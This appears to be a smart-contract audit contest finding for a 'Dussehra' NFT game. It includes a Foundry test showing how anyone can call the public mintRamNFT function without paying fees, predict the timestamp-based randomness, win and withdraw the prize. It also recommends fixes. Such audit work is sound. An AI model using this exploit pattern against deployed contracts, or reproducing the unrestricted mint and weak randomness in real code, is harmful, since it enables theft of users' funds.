Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Anyone can win and withdraw ETH without paying any fees

Summary

since RamNFT::mintRamNFT() isn't restricted to only be minted by Dussehra contract, anyone can mint and join the protocol by directly calling RamNFT::mintRamNFT() and still be eligible to be chosen as a winner and be able to withdraw the reward even though he paid zero fees.

Vulnerability Details

Paste below code to Dussehra.t.sol and run command: forge test --mt test__anyoneCanWinAndWithdrawWithoutPayingFee

code
function test__anyoneCanWinAndWithdrawWithoutPayingFee() public participants {
assertEq(address(dussehra).balance, 2 ether); // two players entered the game and now protocol has 2 ether
vm.startPrank(player3);
ramNFT.mintRamNFT(player3); // attacker mints NFT directly from RamNFT::mintRamNFT() without paying entranceFee
vm.stopPrank();
vm.warp(1728691200 + 1); // Now, time passed and no one is selected as Ram
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao))) % ramNFT.tokenCounter();
assertEq(random, 2);
assertEq(ramNFT.getCharacteristics(random).ram, player3);
// so organiser calls function to choose one randomly
// possibly, organiser can enter game and choose his token id predictably
// also miner can submit transaction in a block that can benifit him by picking his NFT as winner
vm.startPrank(organiser);
choosingRam.selectRamIfNotSelected();
vm.stopPrank();
assertEq(choosingRam.isRamSelected(), true);
vm.startPrank(player3);
dussehra.killRavana(); // player3 will be chosen as winner and kills ram
vm.stopPrank();
uint256 RamwinningAmount = dussehra.totalAmountGivenToRam();
assertEq(RamwinningAmount, 1 ether);
vm.startPrank(player3);
dussehra.withdraw(); // player3 despite paying fee, wins and withdraws amount
vm.stopPrank();
assertEq(ramNFT.getCharacteristics(random).ram.balance, RamwinningAmount);
}

Impact

Anyone can mint an NFT without paying any fee but still be eligible to win and withdraw the reward

Tools Used

Foundry

Recommendations

  1. Do not use block.timestamp for random selection instead use chainlink VRF or any other oracles

  2. Restrict RamNFT::mintRamNFT to be only called by Dussehra.sol

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

mintRamNFT is public

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.